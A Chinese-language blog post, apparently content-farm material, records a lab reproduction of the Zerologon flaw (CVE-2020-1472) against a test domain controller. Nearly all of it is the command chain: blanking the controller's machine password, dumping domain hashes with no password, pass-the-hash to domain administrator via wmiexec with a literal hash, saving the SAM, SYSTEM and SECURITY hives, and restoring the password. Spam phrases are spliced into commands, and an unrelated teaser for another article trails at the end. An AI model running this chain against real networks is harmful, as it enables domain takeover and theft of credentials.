如何实现CVE-2020-1472 漏洞复现

本篇文章给大家分享的是有关如何实现CVE-2020-1472 漏洞复现，小编觉得挺实用的，因此分享给大家学习，希望大家阅读完这篇文章后可以有所收获，话不多说，跟着小编一起来看看吧。下面仅做漏洞复现记录与实现，利用流程如下:1.复现环境win7跳板机IP：192.168.52.143win2008域控IP: 192.168.52.1382. 利用过程检测域控是否存在漏洞python zerologon_tester.py owa 192.168.52.138使用漏洞利用工具将域控机器账户密码置空，该步骤可能会导致域控脱域，需要及时恢复hashpython set_empty_pw.py owa 192.168.52.138之后使用空密码将域控的hash下载python secretsdump.py god.org/”owa$”@192.168.52.138 -no-pass之后使用hash通过wmiexec.py获取域管权限python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:81be2f80d568100549beac645d6a7141 administrator@192.168.52.138执行以下命令，获取目标原始hashreg s免费云主机域名ave HKLMSYSTEM system.savereg save HKLMSAM sam.savereg save HKLMSECURITY security.save将其下载下来get system.saveget sam.saveget security.save之后将获取其置空前hashpython secretsdump.py -sam sam.save -system system.save -security security.save LOCAL恢复域控hashpython reinstall_original_pw.py owa 192.168.52.138 75c1f14a63ee00aef8a5200eeff2bf88使用空密码验证连接域控hash已经恢复以上就是如何实现CVE-2020-1472 漏洞复现，小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注云编程开发博客行业资讯频道。

相关推荐: linux下生成s文件的过程称为什么

这篇文章主要介绍“linux下生成s文件的过程称为什么”，在日常操作中，相信很多人在linux下生成s文免费云主机域名件的过程称为什么问题上存在疑惑，小编查阅了各式资料，整理出简单好用的操作方法，希望对大家解答”linux下生成s文件的过程称为什么”的疑惑有所…